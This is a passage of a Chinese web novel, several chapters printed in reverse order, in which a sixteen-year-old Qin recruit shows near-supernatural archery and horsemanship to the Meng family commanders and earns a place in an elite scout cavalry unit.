蒙武十分耐心,“我问你,大战一起,最先接敌的是什么军?”
赵诚对此一窍不通,猜测道,“先锋营?”
蒙武摇了摇头,“非也,是突骑斥候!两军交战,斥候先接!”
“斥候,便是两军的眼睛和耳朵,关乎军情信息,每一分关键情报都是无上军功!”
“而突骑营中,只有最上等的精锐,最强大的锐士,才有做斥候突骑的资格。”
“战时双方斥候会在主力军前方三十至八十里处活动相接,遇敌或隐或杀,见隙则入,这是第一功,杀敌!”
“轻骑深入敌后,探阵型,寻主营,劫粮草,获情报,这是第二功,军情!”
“战起之时,迂回冲侧,绕后包抄,寻隙切入,冲杀破阵,这是第三功,破阵!”
“除此之外,还有最为关键的,常规突骑都无法做到的一环——那就是深入敌后,冲险破阻,斩旗擒将!此举凶险至极,但也是无可比拟的无上战功,斩将搴旗!”
“至于战后败兵溃逃,率领轻骑追击溃兵,那等小功已经不值一提。”
赵诚听得眼睛越睁越大,里面好似有火焰沸腾!
还有比这更适合自己的兵种吗!?
单兵作战或者小队行动,拥有着高度自由。
且第一时间与敌方斥候相接,足够距离下,自己的箭术可谓是所向无敌,可以轻松砍掉敌军的眼睛耳朵深入敌后,谁能拦得住自己?
深入敌后之后,到处都是敌人,以自己的战力,还怕没有敌人杀?
除此之外,在战场上随意游杀,给了他最大限度的杀敌自由,冲阵杀敌,亦或者斩将搴旗,到处都是军功战机啊!
他的眼神越发炽热。
而蒙武笑眯眯的看着他,知道他根本无法拒绝。
果然,赵诚肃拜,“诚恳请入突骑营!”
蒙武大笑,“准入。”
“以你的能力,入营便可破例升为什长!”
赵诚豪气丛生,“何须破例?军功爵位,上了战场,我自取之!”
蒙武看向一旁道,“那也无妨,不过突骑斥候往往以什为单位行动,入了军伍,军令最大,你可要好好听从伍长和什长指挥,不可随意行动。”
赵诚豪气消失,“那个……偶尔破例一次也没什么,军功等我上了战场自会补上。”
蒙家三人皆是失笑。
蒙武看向蒙威。
“为他选个良驹,配好装备,半个时辰之后,我们就起兵奔赴南阳战场。”
蒙威笑道,“早就准备好了。”
第10章 要为兄求你不成?
蒙武默默点了点头,赞了一声不错。
但心中却认为这小子材力虽强,但毕竟是新兵,训练时长太短,想入中央骑军,还差得远。
毕竟战场之上就算力达千斤的猛人,技艺不足,不小心陷入敌阵那也是必死无疑。
二弟还是有些天真啊,以为这样我就会同意往中央骑军塞人。
不过如此材力,入个锐士营还是很轻松的。
如此想着,场上的赵诚已经拿起了身上背负的乌木弓,这乌木弓通体黑色,之前与他的铠甲颜色融合,还看不出来,此时一拿在手上,厚重的躬身和坚韧的弓弦立刻显出这弓的强度。
蒙武目光一凝,一眼看出这是蒙威收藏的那把顶级好弓,没想到这家伙竟然如此下血本,连这把收藏的好弓都借给这少年用了。
却见赵诚并未走到移动靶区前方,而是站在近二百步之外的原地,直接就是搭箭开弓。
弓开如满月,随着一声霹雳炸响,箭矢瞬间消失,撕裂空气,发出尖锐啸鸣,嗤的一声射穿了移动人形靶子的脑袋,而后去势不停,钉入土墙之中!
咄的一声刚刚响起。
又是接连两道啸鸣声接连响起,另外两个晃动的人形靶子头颅正中尽皆被穿透出一个小孔,另外两箭接连钉入土墙,与之前那枚箭矢的箭尾并排。
三箭之间,几乎是毫无停滞,一箭接着一箭,有若行云流水,但却准的可怕,力道也是大的吓人。
高台之上,蒙武腾的一下站起,眼睛睁的浑圆,定定的看着那将弓收起走向马匹方向的少年。
“神射哉!?”
蒙恬更是大惊失色,咽了一口口水,不可思议道,“这距离,足有二百步!”
“二百步射移动靶,三箭全中头颅正中,就连中央军中也没有如此神射手。”
“这样的箭术,二叔你说他是刚入伍一个月的新兵??”
此等箭术,放眼整个大秦也是绝无仅有!
射的准的,没他射的远,射的远的,没有他射的准。
蒙威嘴角有些压不住了,强作淡然道,“他刚过十六岁,若不是一个月前的征兵令,如何能够傅籍入伍?”
蒙恬讷讷无言,只觉得口干舌燥。
蒙武更是双眼明亮,直直看着赵诚一跃上马,心中涌起无限期待来。
这小子,很可能是自小就被二弟寻来,一直培养到现在的少年神将!
若是,若是马术骑射也能上佳,不敢想象,这是何等锐士!
不过,这孩子如此年纪,要求这么多实在是对他太苛刻了,只要马术过得去,他就可以如二弟所说,将这孩子塞入突骑营!
然而赵诚一上马,那股子游刃有余几乎是扑面而来,他在马上给人的感觉,比在陆地上还要自由!
奔马如风,他亦如风。
单手持缰算什么,他根本就不需要缰绳,马儿紧随他的心意,就如同他肢体的延伸,灵活舞动。
一个呼吸间,马儿可急停转向数次,灵活机变,令人大开眼界。
转向之后,赵诚轻夹马腹,马儿瞬间开始玩命疾奔起来,速度到达极限之际,强风将赵诚的头发都吹拂向后,就在如此速度下,他骤然翻身落马!
“噫!”
蒙恬吓了一跳,还以为他掉下来了。
却见赵诚伸手在地上一抹,将铜钱握在手中的瞬间,马儿身躯一扭,一股古怪的力量将赵诚甩上了马腹,整个过程流畅而优美,甚至于赵诚自己都没有怎么发力。
蒙恬整个人都看傻了!
还特么能这样骑马?
这匹马好似知道主人在想什么,竟然能够配合到这种程度,这是什么良驹?
他认真观察那匹马,可是不管怎么看,这都是一匹再普通不过的马。
那唯一的解释就是,这少年的御马之术已经达到出神入化之境!
可是他才十六岁啊,自己的马术和他比起来,简直就是一坨屎!
箭术就更不用提了,不及其万一!
一时间,蒙恬开始怀疑人生,自己好歹是将门之后,这二十多年难道是活到狗身上去了?
另一边,赵诚奔马不停,直奔密集的木桩区,那速度,看的别人都怕他一头撞死!
然而奔马到了木桩前,就像是会身法一样,在密集的桩子里面左闪右突。
一头高大的大马,好似蝴蝶一般在木桩之中闪动,这一幕看的人古怪至极,说不出的心情在每个目睹之人的心中弥漫。
赵诚在密集的木桩之中快速冲出,而后一鼓作气举弓骑射,奔马之间,连续四五箭射穿二百步外的移动人形靶子,依然箭箭穿头而过!
直至全部考核结束,他翻身下马,立于场中,挺拔身姿如同一把直指苍穹的长枪,朗星般的明亮眸子看向蒙威,冲台上肃拜一礼,默然回到了后方垂眸静立。
动若雷霆,静若泰山。
进退有据,不骄不躁。
如此性情表现,更是让蒙武陷入了深深的沉默。
麻了!
蒙威的信里哪有什么吹嘘,全特么是肺腑之言啊!
此子有拔山举鼎之力,百步穿杨之能,奔如虎豹,跃如鹰鹞,不是天生神将又是什么?
一想到刚才蒙威要将此子塞给自己自己没要,他就想扇自己嘴巴。
说什么军制不可废?在这样的家伙面前,军制算个屁!
“那个……”蒙武手掌攥了攥佩剑的剑柄,有点尴尬问道,“蒙威啊,这孩子可入完军籍了?”
蒙威点了点头,在军籍上给赵诚标记了通过考核,却没有下笔分配军种。
“如今考核都已通过,自然是要入军籍了,不过他刚刚入伍月余,还是个新兵嘛,我觉得是个好苗子,应该先在县里戍守一年,多练练才是。”
还练?
已经封顶了好嘛!
这还有什么可精进的空间吗?
蒙武挠了挠脸颊,有点艰难的开口道,“嗯……我觉得这小子各项技艺都已经达到顶尖,入中央军突骑营也是绰绰有余,应当随军去战场杀敌,建功立业,你觉得呢?”
蒙威连忙说道,“军制不可废啊兄长,要入中央军突骑营,总该需要层层选拔,就让他按军制选拔上去,届时不管归属于谁麾下,总归是按照军制……”
话说了一半,蒙武终于恼羞成怒,忍不住一脚踢在蒙威屁股上。
“为兄说话都不管用了,要我求你不成?”
第9章 蒙武调兵
三日之后。
黑色洪流一般的秦国中央军抵达阳城城下,一名高大魁梧的披甲将领携十余亲卫入城,其腰宽背厚,面阔口方,虎目浓眉,看着与蒙威有几分相似。
蒙威亲自带人于城门迎接,一见此人,便露出亲切的笑容来,抱拳肃拜。
“兄长,久未相见,体中如何?”
这高大将领正是蒙威的兄长,蒙武。
蒙武朗笑道,“哈哈哈,好着呢!你近来如何?”
“极好。”蒙威锐利目光一扫,盯住了蒙武身旁的青年将领,脸上笑意更甚,“咦,这小子看着有些眼熟啊。”
在蒙武身旁一直微微低头的少年此时才抬头,露出一张笑脸来,青涩间带着爽朗,“二叔!你认出我了,我还说几年不见,你定然认不出我来。”
蒙威拍着他的肩膀,“怎会认不出来,我也是看着你长大的,只是几年不见,你竟比我还要高一些了。”
蒙恬憨笑,“不长的高壮些,如何上阵杀敌,建功立业?”
“好!”蒙威赞扬一声,又看向蒙武,“兄长,我去的信你可看了?”
蒙武点头,“看了看了,你小子什么时候也学会吹嘘了?这话编的实在是不可信!”
蒙威无奈,“那小子实是万夫莫敌的猛将之资,我何尝哄骗过兄长?”
说谈间,两人来到城墙下的军营正门,也就是司马门。
蒙武掏出虎符与王令文书,与蒙威核验,“此来调兵粮,大王命我兵临南阳给韩施压威慑,军制不可废。”
“你的眼光我当然相信,但是中央骑军,且还是突骑营,里面个顶个都是精锐,经过层层选拔,不可随随便便往里塞人,你是知道的。”
“不过既然是你的亲信,我自然会为他安排妥当。”
蒙威有些无语,还说相信我的眼光,你要真信,还不得求着我要人?
这是把我当成走后门的了!
既如此,一会儿你可不要来求我。
蒙威想着,一点也不着急,说道,“也好,军制确实不可废,那就先让他在县里戍守一年再说吧。”
“不过前些日子召来的新兵也该考核了,正巧你们来了,且随我一起,去看看这一拨新兵如何,过了考核的便一并调走,随军一起去前线,也算战场磨砺。”
“也好。”蒙武虽然兴趣不大,却也没有拒绝。
许久未见,他也想借着调兵的机会,和蒙威叙叙旧,反正调兵调粮也是需要时间的。
……
此时,武场之上,近百新兵已经穿戴上了黑色甲胄,背负弓箭、三日粮。
这一身负重,足有五六十斤。
接下来的考核,他们要一直背负这样的重量进行行动,许多新兵已经开始叫苦不迭。
赵诚作为锐士考核,身上穿戴的甲胄与普通新兵身上的皮甲不同,而是青铜札甲。
其甲片呈圆角长方形,以皮条或麻绳编缀,更重也更坚固。
但他神采奕奕,行动如常,丝毫没有感觉沉重。
当蒙威带着蒙武一行人来到武场,登上高台时,他便已经发现,心中已经有所猜测。
迎着蒙威远远看来的目光,赵诚微微点头。
蒙威一笑,朝着手下令道,“开始吧。”
场上的吏员拿着文书说道,“考核内容,负重三里奔袭,翻矮墙,越壕沟,举石锁,普通兵卒需开五石弓,锐士兵卒需开十二石弓,射移动靶。”
“骑兵考核内容,单手持缰疾奔,急停转向,俯身拾物,跨壕沟,越矮墙,单骑绕桩,骑射六十步外移动靶。”
骑兵考核需要在正常考核之后,也就是叠加的。
吏员说完之后,打手势示意考核开始。
近百新兵立刻开始埋头奔袭起来,而其中一人已经是一马当先,以不可思议的速度,在几息之间与众人拉开一大段距离!
而且,他还在不断加速,奔若猛虎下山,势头之猛,一往无前!
高台之上,蒙威与蒙武笑谈着。
“蒙威,你练兵之法一如既往的不错,这些新兵看着都很不错。”
“比不上兄长。”
“你还谦虚上了,待南阳拿下,灭韩便已不远,届时……咦!”
蒙武说着,余光突然看到武场之上那道迅猛如虎的身影,不由得被吸引了注意力。
他细细看去,有些意外。
这奔速极快的少年,穿戴的竟然还是青铜甲,这还能有如此奔速,材力不错,只是不知能坚持多久。
三里的考核,一开始就如此发力,恐怕后力不足啊。
想着,他摇摇头,继续与蒙武说话,余光却是不离少年。
赵诚还在加速,短短时间内,他已经与后方新兵们拉开了半里距离,抵达第一处矮墙。
这矮墙不过半丈,也就一米五左右,他连攀爬的想法都没有,脚下一蹬,整个人如飞掠过,竟然是直接跳了过去,而后轻松越过壕沟。
没一会的功夫,便已经奔袭三里,来到石锁前的时候,脸不红气不喘,连汗都没出。
这下蒙武有些惊讶了,他开始不再与蒙武闲谈,而是认真看去。
却见赵诚径直来到两块磨盘大的十二石石锁之前,然后一手一个……
拎!
两枚磨盘大小的石锁,缓缓被其举过头顶,看那模样,稳如泰山,身躯没有一丝一毫的颤抖!
“这!”
蒙武一震,手掌紧紧握住了佩剑剑柄。
何等材力!!
他默默看向一旁的蒙武,却见蒙武笑意吟吟,一脸老神在在的看着,什么都没说。
蒙武张了张嘴,也没有说话,继续看下去。
一旁的蒙恬却有点忍不住了,“二叔,你这的石锁规格,可是和其他地方一样?那是十二石石锁吗?”
蒙威笑道,“那是自然,各处的石锁规格都是如此,我还能作假不成?”
蒙恬有点震惊,“好一个天生神力,这小子看着应该也就十八岁左右,材力却如此惊人,力达千斤,日后绝对是个绝世猛将。”
蒙威笑的矜持,“这月刚至十六岁,月余前才入伍的新兵蛋子罢了。”
“这……”蒙恬是真的有点傻了,他还以为这是蒙威自己手下的亲信,弄上场表现是为了往中央军塞人,没想到竟然是个新兵!
蒙威指了指武场上,“急什么,看考核。”
真东西还没来呢。
我倒要看看一会儿你爹找不找我要人……
第8章 弓如霹雳弦惊
赵诚愕然,看着乌木弓的眼神很是喜欢,但却没有接,“蒙叔,君子不夺人所爱,我不能收。”
蒙威笑骂,“他娘的,你当老子送你呢,我根本就不信你能奔马骑射飞鸟!咱们就打这个赌,你射下来,你赢,这弓就送给你了!但你要是射不下来,以后你就得听我的,我让你往东,你不能往西,敢是不敢!”
赵诚看着蒙威,认真道,“敢。”
“接弓!”
“是。”
赵诚恭敬接过,入手触感哪是那普通强弓可比,顿时爱不释手。
他之前所用之弓,已经是锐士强弓,而且是锐士强弓之中的力弓,拉力可达十五石,有效射程可达一百步,最远射程也就只有一百五十步,但到一百五十步时已经非常无力。
秦国一石虽为六十斤,但实际上弓力对应的石并非是直接对应重量,而是指拉开时弓的弹力,一石弓差不多需要十五六斤的臂力拉开。
所以即使是锐士强弓,对于赵诚来说,也像是玩具一般,随手就可以拉断。
但手中这把弓明显不同,一入手便是沉甸甸的,不论是弓身的厚重质感,还是那坚韧而粗壮黔中犀牛皮筋弓弦,都让赵诚隐隐感觉到有一种力量和箭术即将被激活解封的感觉。
这种感觉就像是剑痴遇龙泉,琴痴遇焦尾。
此时,他低着头,宽大的手掌握着这把乌木弓,安然的摩挲着。
全场所有人都在默默看着他,清晰感受到了他对于这把弓的喜爱,以及他身上逐渐散发出来的那股比之前更强烈的意气风发!
来了!
那种高手的感觉又来了!
蒙威虎目一凛,全神贯注。
却见赵诚豁然抬头,嘴角噙笑,眸子里面的自信宛若天上的骄阳至烈,眉宇之中那股意气之强,好似天下名剑骤然出鞘!
“赵诚,谢蒙叔赐弓,且看诚为此弓开弦!”
话音未落,赵诚胯下之马好似感受到了主人炽烈的意气,已经是拼了老命狂奔起来,速度之快,让人开始怀疑这是顶级良驹!
眨眼之间,它便驮着赵诚奔出数丈,一人一马好似疾风驰掠在武场之上!
正此时,武场墙壁上的四五只麻雀儿突然感到一股莫大危机,受惊般飞上苍穹!
赵诚双眸如炬火,昂面举弓,抬手便搭上了三只箭!
而后,双臂稳如泰山般撑开,那厚重的乌木弓瞬间承压变形,弓如满月!
至此,蒙威已经是双目浑圆!
这弓他从得手以来,还从未拉满过!
好小子,一下就拉到了极限,何等神力!
不过,他一下搭了三只箭是什么意思?难不成……
他想到了什么,顿觉不可思议。
而武场之上,弓如霹雳弦惊,发出雷霆爆响!
三只箭骤然离弦,电射而去!
众人只觉眼前一花,天空之上,立刻有三只麻雀儿羽毛炸开,直直栽落下来,啪嗒落在地上,都已经没有了鸟首!
漫天飞羽,缓缓飘落在武场之上,全场雅雀无声,落针可闻。
蒙威脸色涨红,呼吸无比急促!
如此奔马急速,隔空近二百丈射飞鸟,一弓三箭竟全中!!
饶是他有所心理准备,此刻也是被惊的不轻,往日就算是说书人说出这种事来,他都要嗤笑一句编的太假!
但今天,就在眼前,眼睁睁的发生了。
他激动的头皮都要炸开了……
捡到宝了!!
力能扛鼎,箭落惊鸿,此乃战神之姿!
一颗璀璨将星,就在他的眼前,在这个武场之上,破晓而出!
他怎能不激动?
蒙威定定的看着那策马回来的赵诚,感觉这小子身上正在发光!
至此时,武场才爆发莫大哗然声!
“彩!!”
“神了!!奔马射飞鸟,竟然真有这种神射!”
“一弓三箭,全中鸟首!竟然真的有这种箭术,我以为只有传说才有这种桥段!”
“传说都不敢这么传啊,就算是传说中的养由基,也不过是百步穿杨,刚刚赵诚射鸟那距离已经快有二百步了吧!”
“咱们县出了个神人!今天这事,肯定是能够上史书的,咱们与赵诚同属一个军营,也算是能够名留青史了!”
“名留青史也是人家赵诚,咱们的名字才不会出现在史书上!”
众多将士都是无比激动面色发红,但凡是练过箭术的,哪有人不知道这一箭的含金量!
光是今天这一幕,就足够他们吹一辈子了!
赵诚来到蒙威身前,下马,摩挲了一下手中之弓,又一次递给蒙威。
“蒙叔,真是好弓,过瘾了,还你!”
就算赵诚没见过类似的弓,也知道此弓必然价值不菲,打赌虽赢了,但当真可就输了。
蒙威眼中的欣赏更浓了一些,他摇了摇头,将弓推了回去,“当我言而无信耶?”
“愿赌服输,心服口服,这弓是你的了。”
“更何况,这乌木弓在我手中,不异于明珠蒙尘,只有在你手里,才能大放异彩。”
话说到这里,赵诚也不再推辞,收下了乌木弓,他对这弓,确实爱不释手。
“谢蒙叔。”
“以你的材力天赋,已经完全超越锐士骑兵的标准了,但按军制,还需要考核之后,才能入军籍成正卒。”
“而且,以你的资质,入县廷的地方军也没有什么意思,要入,咱就入大秦中央骑军,做先锋锐士!不要急,且安心等几日,蒙叔必将你送入能拿一等战功之营。”
此言一出,赵诚心中一动,很是感激,双手在胸前相握,正色肃拜,这是他目前最想要的。
蒙威看到了赵诚眼中的期待和感激,嘴角也露出一些笑意,心情大好。
有一种功成不必在我的成就感!
发现了良才,却不能让他在自己手中蒙尘,赠弓算什么,将他托举到他该去的位置,让他为大秦战征四方!让他为自己建功立业!
这也是一种大丈夫所为!
蒙威摸了摸下巴上不长的青茬,心中想着,小子现在肯定很感激我,不必感激,这是蒙叔该做的。
赵诚想了想,说道,“那个,蒙叔说的那一个月的鹿肉……”
蒙威脸色一变,匆匆离开,“本官还有要事在身,你且去训练,不可懈怠!”
看着蒙威迅速离去的背影,赵诚愕然无语。
不是,鹿肉这么贵的吗?
第7章 他不能是真会吧?
“何必十步之外?”
说着,赵诚举弓边射,抽箭搭箭,拉弓如满月,箭出如流星!
一套动作行云流水,利落到看不清楚,快到几乎出现残影,却依然有一种说不出的动作美感,把蒙威看的一愣一愣的!
而那箭矢射速,更是快到看不清楚,在鸣啸声中,瞬息划破六十多丈距离,笔直射在靶心正中,而后一穿而过!
透过木质靶心,去势犹自不停,迅猛如雷,咄的一声没入土墙,只剩箭尾颤动!
县尉大人看呆了。
六十多丈,直射靶心,一穿而过,没入土墙!
不论是姿势、动作、力道、准度都堪称完美,妙到绝颠!
这特么是蒙的吧!
刚才不是这样的啊!
一定是蒙的!
如果说骑术可以通过某种奇怪的通马语天赋,来快速达成熟练的表象,他勉强还可以接受。
但是箭术,绝无可能!
这玩意就算是有天赋的人,也不可能通过顿悟,突然上升数个等级,到达这种程度。
箭术很复杂,尤其是在这个距离要命中靶心,那涉及的东西太多了。
需要对弓熟悉,对箭矢熟悉,对自身力量的熟悉,还要计算角度,风力,甚至是箭矢的旋转,哪怕一丁点的颤抖,一丝一毫的偏差,甚至是轻微的一个呼吸,都会影响最终的命中位置。
所以,这小子就是蒙的!
蒙威点头,赞道,“蒙的不错,记住这个感觉,你刚才的动作很标准,一定要记住这个感觉。”
“再来一箭,模仿刚才的样子。”
赵诚挠了挠头,很理解蒙威的不信。
但此时他已经在推演中练弓十五年,即使是以心为弓,也练习了成千上万遍。
这弓在手,射箭就如同呼吸一般自然简单。
射程之内,无物不穿。
只是一眨眼的功夫,一支箭再次激射而出,瞬息划过一道笔直的线,从之前射透的靶心穿过,而后竟然直接从上一箭的箭尾射入,依然是没入土墙,箭尾犹颤。
蒙威咽了口唾沫,百思不得其解。
还有这种事!?
这样都能连续蒙中两次,他不能是真会吧?
他不信邪,“你,再来一次我看看。”
话没说完,第三只箭已经没入前两箭的尾端,照旧没入土墙,箭尾犹颤!
躲得远远、缩在角落里的吏员此时哆嗦着腿,眼睛瞪得像铜铃!
不是,你小子刚才差点给老子干死,现在成神射手了!?
你刚才干嘛去了!
不对劲!
我是不是有什么事情招惹到他了,他想借射箭的机会给我弄死?
吏员越想越多,几个念头下去,已经生出了辞职回家种田的想法!
惹不起这煞星,老子还躲不起吗?
另一边,蒙威是真的有点懵了!
世界上真有这种事?
活了这么多年,没见过啊!
不可能啊!
他上下打量着赵诚,想了很久,终于想出了一个方案。
“这样,你骑射,奔马之中射箭,再射中的话,嗯……我包你一个月顿顿有鹿肉吃!”
此话一出,赵诚眼睛都亮了。
“当真?”
“自然当真!”
赵诚高兴了,抬头一看,天上有只麻雀儿疾飞向远方。
青天白日间,清风同时拂过麻雀儿的翅羽与他的发梢,赵诚眉宇之间意气风发,“奔马骑射算什么,蒙叔,我给你表演个绝活!”
他心意一动,马儿自然知晓,默契的拼命狂奔起来。
马儿起伏之间,赵诚面朝苍穹,上半身却完全静止一般,一双眸子稳定儿有力的锁定目标,丝毫不颤,只有腰肢以下,随着马儿疾奔而流动,说不出的潇洒写意!
奔马疾射而出,赵诚已经是张弓搭箭,目力运转,麻雀儿的丝羽在其眼中清晰可见,根根分明!
力量,角度,风向,一切的一切好似流水一般,无比自然的涌现在赵诚的心中。
亿万次的拉弓,必中已经融入灵魂与血脉!
此箭必中!
弓弦崩至极限!
蒙威的眼睛越睁越大,全部心潮凝于一箭之上。
这小子,竟要奔马骑射飞鸟!!
这怎么可能做到!?
可他为何如此意气风发?连我都觉得,他这一箭不可以不中!
这动作,这姿势,这眼神……已成艺术!
此刻,演武场之上的所有人,不论新兵或者老兵,全部被那道意气风发到极致的身影吸引,更有无数少年心生向往,觉得大丈夫当如是!
可就在此时!
咯嘣!
弓直接被拉爆了!
牛筋绷断,弓弦碎裂,巨响使马儿受惊,人立而起,赵诚愕然间,单手按下马头,轻哼一声,将其镇压而下。
他静坐马上,长长叹了口气,充满萧瑟之意。
“唉。”
所有人无不愕然,继而心生遗憾。
没想到如此瞩目的一箭竟然戛然而止,本能的,他们想要看到这一箭射出,将那天上飞鸟射下来。
但确实,太远了。
蒙威再一次在赵诚的叹息中,感受到了深深的萧瑟和寂寞如雪,这一次,他莫名的不再觉得抓狂,反而随着这道叹息,也觉得有些遗憾。
那弓……好像确实拖累了他。
满场都沉默着。
不过很快,众人就反应过来。
我在遗憾个毛啊!
这家伙把弓拉爆了啊!!
他是个人?
赵诚骑马慢悠悠的掉回头来,在蒙威面前停下,眉宇间的意气风发已经消失不见,取而代之是平常和沉稳,“蒙叔,弓爆了,你之前所说还作数?”
蒙威沉默了一下,点了点头。
赵诚也点点头,“再拿个弓吧,就如你所说,咱们奔马射靶。”
蒙威看着少年如常的脸色,莫名感到不舒服,说不出哪里不得劲。
他点了点头,突然喝道,“拿我的弓来!”
卫兵立刻去拿了他常用的精锐强弓来。
蒙威看了看,没接,“不是这把,我收藏的那把弓,拿来!”
卫兵愣了,“您都不经常用……”
“少废话。”
“是。”
卫兵很快去而复返,拿了另一把强弓来,这把弓通体看着乌黑,两端如鹿角,外裹牛筋,弦如粗绳,看卫兵的手臂青筋突起,显然此弓不轻。
蒙威接过弓,直接递到了赵诚手上。
“这把乌木强弓以楚国特产的青桐木为骨,江麋之角为弭,黔中犀牛皮筋为弦,用精铁为胎,重百二十斤,据说射程可达二百四十步。”
“你拿着它,再来一次奔马骑射飞鸟,若能射下飞鸟,此弓便赠予你!”
第6章 你竟通马语?奇人哉!?
县尉眨了眨眼,还是没能反应过来,人怎么能说出这么不要脸的话来!
疯了吧!
刚刚一箭差点把吏员脑袋射穿了,现在就箭术通神了?还世上没有一把好弓能够承载你的力量,你咋不上天呢!
这话太奇葩了,让县尉大人整个人都要开始质壁分离了。
“你,你等会!”
他喊住赵诚,一时间不知道该气还是该笑,最后还是耐着性子劝慰道,“练箭是大事,也是难事,你从未接触过骑射,对你来说确实不会太容易,但收益却是非常大的。”
“你天赋异禀,未来前途无量,此时骑射技艺多精进一些,在战场上建功立业的能力就多一些,活下来的把握也更大一些。”
他语重心长,“战场不是儿戏的地方,一念之差尚且会丢掉性命,箭术差些没有关系,但骑术若是差了,一个不小心就会跌入军阵之中,死路一条,那还不如去做普通锐士,不至于丢了性命。”
“所以骑术一事,不可操之过急,你沉下心来,努力与马儿沟通,这匹马已经算是温顺的了,若是骑兵中的那些良驹烈马,才是真的难以驯服。”
“和它沟通……”赵诚感受到了县尉的厚望,想着也不好让他担心和误会,于是低头道,“抬下左腿!”
县尉大人气笑了,“你小子就这样……”
话音未落,那马儿当真抬起了左边后腿!
直到马后腿落下,县尉大人都没回过神来,呆愣愣看着马腿,歪了歪脑袋,大脑在飞速转动。
一个很大的问号冒了出来,但是没有答案……
他看向赵诚,觉得这一定是巧合。
谁知道,赵诚一脸不满意道,“前左腿!就说笨马发挥不出我的骑术。”
却见马儿很是惭愧的低了低头,然后果断抬起了前左腿!
似乎为了证明自己明白了主人的心意,它甚至还坚持抬了好一会儿才放下。
县尉大人眼睛睁的老大,不可思议的看着这一幕。
而后他陷入了深深的沉默。
他仔细看了看赵诚,又看了看马,又看了看周围训练的士卒们,似乎在确认什么。
片刻后,他不信邪道,“你,你再来一个我看看。”
说完,他瞪着一双虎眼直愣愣看着马腿。
赵诚笑问,“大人要看哪条?”
县尉瞪着眼指了指左前腿。
赵诚嗯了一声,“抬左腿。”
这回马儿努力领会到了他的意思,准确抬起了左前腿!
“噫!!”县尉吓了一跳,当事情真的发生了,他反而更有些不敢置信,惊道,“你竟通马语!?”
“奇人哉!?”
赵诚哭笑不得,“怎么是通马语,我只是精通骑术罢了。”
县尉惊道,“你从未骑过马,怎会如此?”
赵诚说道,“这一个月我也很努力的。”
县尉懵了,这是努力就能做到的事情吗?而且还只有一个月?你在开玩笑!
他很难接受。
能在三十左右的年纪做县尉,而且还是在如此关键的位置做县尉,他也是见过大风大浪,建功无数,有公大夫之爵。
不管骑术多好的,他也自认为是见过的,还从没见过这样的奇怪场面。
他还是难以置信,又让赵诚再来了几次。
赵诚陪他又玩了一会儿,县尉越发惊奇。
赵诚无语了,“大人,我这骑术也算过关了吧?”
“何止过关了……”县尉看了看他,“你别叫我大人了,如若不嫌弃,叫我一声蒙叔即可。”
这一次轮到赵诚有些惊讶了,“蒙叔……可是蒙骜将军的蒙?”
县尉脸上流露出笑意与自豪,“你知道吾父?”
赵诚笑的越发真诚,“以蒙将军之功,大秦谁人不知?”
蒙骜历仕秦昭襄王、秦孝文王、秦庄襄王、秦始皇四朝,数次率军出征,屡立战功。
先后夺取韩国十余座城池、赵国三十余座城池、魏国五十余座城池,使秦国得以设立三川郡和东郡。
可以说,若无这位四朝老将,生于三川郡的赵诚现在就不处于秦国了。
而最重要的还不是这一点,众所周知,蒙骜是蒙武之父,蒙恬和蒙毅的爷爷,县尉大人姓蒙,又如此称呼,难不成是蒙武?
要知道,三川郡是秦国东进战略的核心据点,之前一直由吕不韦直接管辖。
吕不韦被罢免后,这个战略要地的任职人员,都是由秦王信任的将领或文臣接任,为的是以秦王嫡系替换掉吕不韦的旧部。
而阳城县又是紧靠南阳郡这个关键跳板,此地县尉任选当是重中之重,需要拥有足够的军事能力应对韩的反扑,或者随时调集军马协援攻韩。
这么说的话,是蒙武的概率也不是很小,只是县尉大人看着年轻了一些。
“你小子。”县尉越看赵诚越是顺眼,但还是盯着赵诚的神色道,“不过,我名蒙威,不是蒙家嫡脉,帮不上你太多,你倒也不用哄我开心。”
赵诚闻言恍然,却也没有什么失望。
抓到了蒙武也不是要抱大腿,只是蹭仗打,没抓到也不过是打仗机会略少,以他的战力,在哪不得重用?
于是他摇摇头说道,“并非哄你开心,蒙将军数次出征,屡立战功,有他在,我秦国才得以设下三川郡和东郡,我生在三川郡,对他老人家自是感谢敬佩的。”
“至于蒙叔,已经帮了我很多,此情我已记在心里,日后诚若不是战死沙场,一定会来报达蒙叔提携之恩。”
蒙威一直仔细观察赵诚面色,此时已经知道赵诚不是攀附富贵之人,不由大为宽慰,越发喜欢这个少年。
他高兴的拍着赵诚肩膀,“你小子真是不错,有少年锐气,惊世材力,性情也好,只要不夭折在战场上,以后这大秦必有你一席之地!”
“你放心,我虽然不是蒙家嫡脉,但托你一把还是能的,你的骑术已经不需要我再多说什么,这几日好好练箭,过几日,蒙叔我送你一份大礼!”
赵诚想了想说道,“其实,箭术我也成了。”
“呵!”蒙威斜睨赵诚冷笑一声,心说这回你可装错了方向,刚才那一箭都歪到人家脑袋上去了,我可是看的清清楚楚。
吏员的腿现在还在哆嗦呢!
“来,你就站那箭靶十步之外,我看你能不能射的中靶心!”
第5章 心中之弓,箭术通神!
【你的骑术踏入出神入化之境!】
这一刻,赵诚感觉到自己的意念,或者说是精神通过腰肢,双腿延展了出去,覆盖在了马的身上。
他有一种感觉,好似这马成了自己躯体的一部分,想要让它去哪,它就能去哪,想要让它抬前腿,它绝不会抬起后腿。
甚至于,马站立在地上,与地面产生支撑的力量,他也能够切身的感受到。
他能够感受到胯下之马浑身肌肉之中流转的力量,能够感受到马的骨骼所能够承载的极限,也能够感受到这只不算太有灵性的马儿,此时也因为他的变化,而变得更加温顺,更加服帖。
这种感觉非常的玄妙,就好似,他真的花了十年的时间全身心,不眠不休的练习马术,以至于进入了一种说不清道不明的通神境界。
对于普通人来说,如此骑马十年,可能还达不到如此效果,但是赵诚已经炼肉大成,他对于力量和躯体的理解,远超常人,才能够在十年全身心修炼之下,达到如此不可思议之境。
他闭目细细感受,不由叹息一声,“唉,这马一般啊,发挥不出我骑术的三成!”
一旁,县尉虎目一瞪,好悬没被这句话冲个跟头。
你没被马掀出去已经那算是你力气大抓得紧,你还嫌马发挥不出你的骑术??
能要点脸吗!
他看向赵诚,却见这家伙再次闭目,端坐马上,静如泰山,古怪的是,那马儿竟然也很是顺从他的意志,站在那一动不动,也像是闭目沉思的样子。
这一幕太过古怪,一股莫名的高手气息弥散开来,让县尉大人硬是没能开口拆台。
怪了,这马难不成是被他折腾累了?
放弃抵抗了?
县尉站在那里直直盯着那一直不安分却突然老实的马儿,心中根本不信这马能一直这么听话,就等马儿一抬屁股,他就能亲眼见到赵诚破功!
